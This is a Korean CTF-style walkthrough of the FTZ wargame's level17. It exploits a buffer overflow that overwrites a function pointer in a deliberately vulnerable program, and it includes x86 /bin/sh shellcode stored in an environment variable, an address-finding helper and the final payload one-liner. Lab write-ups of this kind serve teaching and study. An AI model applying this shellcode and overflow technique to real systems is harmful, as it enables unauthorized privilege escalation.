[FTZ] level17
level17로 로그인하고 문제 내용을 보면 다음과 같다.
level16 문제와 비슷한데 여기에는 shell함수가 없다. 쉘을 얻기 위해서 다른 곳에서 구해와야 할 것 같다.
#include <stdio.h>
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);
call();
}
코드를 확인해 보면, fgets 함수로 buf 변수가 20bytes이지만, 48bytes까지 입력할 수 있는 길이에 대한 검증이 없어 오버플로우 가능하다.
또한 변수들 중에 void (*call)()=printit;에서 *call에는 printit 함수의 주소가 들어가고, 마지막에 call 함수를 부른다. setreuid(3098,3098) 뒤에 쉘이 있으면 level18의 권한으로 쉘을 실행할 수 있기 때문에 이 부분을 공략해야겠다. 그러려면 call을 할 때, printit함수 대신 환경변수에 쉘을 넣어서 그 주소로 변경하면 될 거 같다.
gdb를 보면 전과 비슷한데
함수가 시작되고 0x38(56bytes)가 변수를 위해 할당되고,
ebp-16 부분에는 printif의 주소가 들어간다. 이 부분이 *call이다.
변수들을 정리하면 아래와 같을 거 같다.
이제 문제를 풀어보면,
1. 환경 변수에 쉘을 저장한다.
$ export EGG=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
2. 아래와 같이 쉘(EGG)의 함수 주소를 얻을 수 있는 코드로 함수주소를 얻는다.
#include <unistd.h>
int main(void)
{
printf("%p\n",getenv("EGG"));
return 0;
}
3. 쉘을 얻기 위한 페이로드를 짠다.
buf(20bytes) + dummy(20bytes) + *call(4bytes)
1) buf(20bytes) + dummy(20bytes) ▶ 40bytes 에 'A' 삽입
2) *call(4bytes) ▶ 환경변수에 삽입되어 있는 쉘 주소 삽입 (0xbffffc71)
(python -c 'print "A"*40+"\x71\xfc\xff\xbf"';cat) | ./attackme
성공!